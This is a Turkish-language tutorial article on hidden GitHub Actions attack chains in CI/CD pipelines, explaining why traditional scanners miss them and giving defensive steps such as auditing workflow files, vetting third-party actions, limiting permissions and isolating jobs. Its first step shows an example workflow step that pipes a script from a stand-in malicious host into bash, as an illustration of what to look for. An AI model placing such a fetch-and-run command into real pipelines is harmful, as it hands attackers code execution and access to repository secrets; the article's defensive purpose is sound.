Giriş
CI/CD (Continuous Integration/Continuous Deployment) pipeline'ları modern yazılım geliştirme süreçlerinin vazgeçilmez bir parçası haline geldi. Özellikle GitHub Actions gibi araçlar, geliştiricilere otomatik test, derleme ve dağıtım işlemlerini kolaylaştırma konusunda büyük avantajlar sunuyor. Ancak, bu esneklik beraberinde yeni güvenlik risklerini de getiriyor. ActiveState tarafından yapılan araştırmalar, GitHub Actions saldırı zincirlerinin geleneksel CI güvenlik tarayıcılarından nasıl gizlenebildiğini ve bir tarayıcının geçmesini sağlamanın aslında güvenli bir pipeline anlamına gelmediğini ortaya koydu.
Bu makalede, GitHub Actions saldırı zincirlerinin nasıl çalıştığını, neden güvenlik tarayıcılarının bu tehditleri tespit edemediğini ve pipeline'larınızı daha güvenli hale getirmek için neler yapabileceğinizi detaylı bir şekilde inceleyeceğiz.
Saldırı Zincirlerinin Temel Yapısı
GitHub Actions saldırı zincirleri genellikle aşağıdaki adımlardan oluşur:
- Başlangıç Aşaması: Saldırgan, hedef pipeline'a zararlı kod enjekte etmek için bir güvenlik açığı bulur. Bu genellikle üçüncü parti eklentiler, workflow dosyaları veya repository ayarlarında yer alır.
- Orta Aşama: Zararlı kod, pipeline içinde çalıştırılan script'ler veya komutlar aracılığıyla sisteme yerleştirilir. Bu aşamada, saldırganın amacına bağlı olarak çeşitli saldırı vektörleri kullanılabilir.
- Son Aşama: Zararlı kodun çalıştırılması sonucu, saldırgan hedef sisteme erişim sağlar, veri sızdırır veya sistemde değişiklikler yapar.
Bu saldırı zincirleri, geleneksel güvenlik tarayıcıları tarafından tespit edilmesi zor olan yan kanal saldırıları veya yan etkiler kullanılarak gizlenebilir. Örneğin, saldırganlar, zararlı komutları pipeline içinde yer alan diğer görevlerle gizleyebilir veya saldırıyı yavaş yavaş gerçekleştirebilir.
Neden Geleneksel Tarayıcılar Bu Tehditleri Kaçırıyor?
Geleneksel CI güvenlik tarayıcıları genellikle aşağıdaki nedenlerden dolayı GitHub Actions saldırı zincirlerini tespit edemiyor:
- Statik Analiz Eksikliği: Birçok tarayıcı, pipeline'ların dinamik doğasını tam olarak anlayamaz ve bu nedenle gizli saldırı zincirlerini tespit edemez.
- Yan Etkilerin Gözden Kaçırılması: Saldırılar, pipeline içinde yer alan diğer görevlerin yan etkileri olarak gizlenebilir. Örneğin, bir komutun çıktısı başka bir görev tarafından kullanılırken zararlı kod enjekte edilebilir.
- İçerik Kontrolünün Zayıflığı: Tarayıcılar, üçüncü parti eklentiler veya workflow dosyalarındaki içerikleri tam olarak kontrol edemez ve bu nedenle gizli saldırı vektörlerini kaçırır.
Saldırı Zincirlerini Tespit Etmek İçin Adım Adım Rehber
Aşağıda, GitHub Actions pipeline'larınızda gizli saldırı zincirlerini tespit etmek ve engellemek için izleyebileceğiniz adımları bulabilirsiniz.
1. Pipeline'larınızı Detaylı Olarak İnceleyin
GitHub repository'nizdeki
.github/workflowsdizinini kontrol edin ve tüm workflow dosyalarını inceleyin.ls -la .github/workflows/Her bir workflow dosyasını açın ve
jobs,steps, veusesgibi anahtar kelimeleri arayarak potansiyel saldırı noktalarını belirleyin.Workflow dosyalarında yer alan komutları ve script'leri dikkatlice inceleyin. Örneğin,
runkomutları altında yer alan komutlar saldırı vektörü olarak kullanılabilir.- name: Run a script run: | echo "Hello World" curl -s https://malicious-site.com/script.sh | bash
2. Üçüncü Parti Eklentileri ve Bağımlılıkları Kontrol Edin
Workflow dosyalarında kullanılan üçüncü parti eklentileri ve bağımlılıkları listeleyin.
grep -r "uses:" .github/workflows/Bu eklentilerin güvenilir kaynaklardan geldiğinden emin olun. Örneğin,
actions/checkoutgibi resmi GitHub eklentileri genellikle güvenlidir, ancak üçüncü parti eklentiler riskli olabilir.Eklentilerin son güncellemelerini ve güvenlik açıklarını kontrol etmek için GitHub Advisory Database'yi kullanın.
3. Pipeline'ların Çalıştırılması Sırasında Gözlem Yapın
Pipeline'larınızı çalıştırırken, her bir görevin çıktısını ve yan etkilerini dikkatlice inceleyin.
Pipeline'ların çalıştırılması sırasında oluşan log'ları analiz edin. Örneğin,
GITHUB_ENVveyaGITHUB_OUTPUTgibi değişkenlerin nasıl kullanıldığını kontrol edin.steps: - name: Set environment variable run: | echo "MY_VAR=value" >> $GITHUB_ENV echo "MY_VAR is set to $MY_VAR"Pipeline'ların çalıştırılması sırasında oluşan ağ trafiğini izleyin. Örneğin,
curlveyawgetkomutlarının kullanımı sırasında oluşan istekleri kontrol edin.
4. Pipeline'ları İzole Edin ve Kısıtlayın
Pipeline'larınızı izole ederek, saldırıların diğer sistemlere yayılmasını engelleyin. Örneğin, her bir pipeline'ı ayrı bir container içinde çalıştırın.
jobs: build: runs-on: ubuntu-latest container: image: ubuntu:latest steps: - uses: actions/checkout@v4Pipeline'ların çalıştırılması sırasında kullanılan izinleri sınırlandırın. Örneğin,
read-allveyawrite-allgibi geniş izinleri kullanmaktan kaçının.permissions: contents: read packages: readPipeline'ların çalıştırılması sırasında kullanılan token'ların geçerlilik süresini sınırlandırın. Örneğin,
GITHUB_TOKEN'un geçerlilik süresini kısa tutun.jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: token: ${{ secrets.GITHUB_TOKEN }}
İpuçları ve Uyarılar
İpucu: Pipeline'larınızda güvenlik açıklarını tespit etmek için GitHub Advanced Security veya üçüncü parti araçlar olan Snyk, Checkov veya Trivy'yi kullanabilirsiniz. Bu araçlar, pipeline'larınızı statik ve dinamik analiz yoluyla inceleyerek gizli saldırı zincirlerini tespit edebilir.
Uyarı: Pipeline'larınızda üçüncü parti eklentileri kullanırken dikkatli olun. Bu eklentiler, saldırganlar tarafından hedef alınabilecek potansiyel güvenlik açıkları barındırabilir. Eklentileri kullanmadan önce güvenilir kaynaklardan geldiğinden ve düzenli olarak güncellendiğinden emin olun.
Uyarı: Pipeline'larınızda kullanılan komutları ve script'leri dikkatlice inceleyin. Örneğin,
curlveyawgetkomutları kullanırken, komutların çıktısını doğrudan çalıştırmaktan kaçının. Bunun yerine, komutun çıktısını bir dosyaya kaydedin ve dosyayı inceleyin.
Sonuç
GitHub Actions saldırı zincirleri, modern CI/CD pipeline'larının güvenliğini tehdit eden ciddi bir risk oluşturuyor. Geleneksel güvenlik tarayıcıları bu tehditleri tespit etmekte yetersiz kalabiliyor, ancak pipeline'larınızı detaylı bir şekilde inceleyerek ve güvenlik en iyi uygulamalarını uygulayarak bu riskleri minimize edebilirsiniz. Pipeline'larınızı izole edin, üçüncü parti eklentileri dikkatlice kontrol edin ve pipeline'ların çalıştırılması sırasında oluşan log'ları ve yan etkileri analiz edin. Bu adımları izleyerek, CI/CD pipeline'larınızı daha güvenli hale getirebilir ve saldırı zincirlerinin hedefi olmaktan kaçınabilirsiniz.



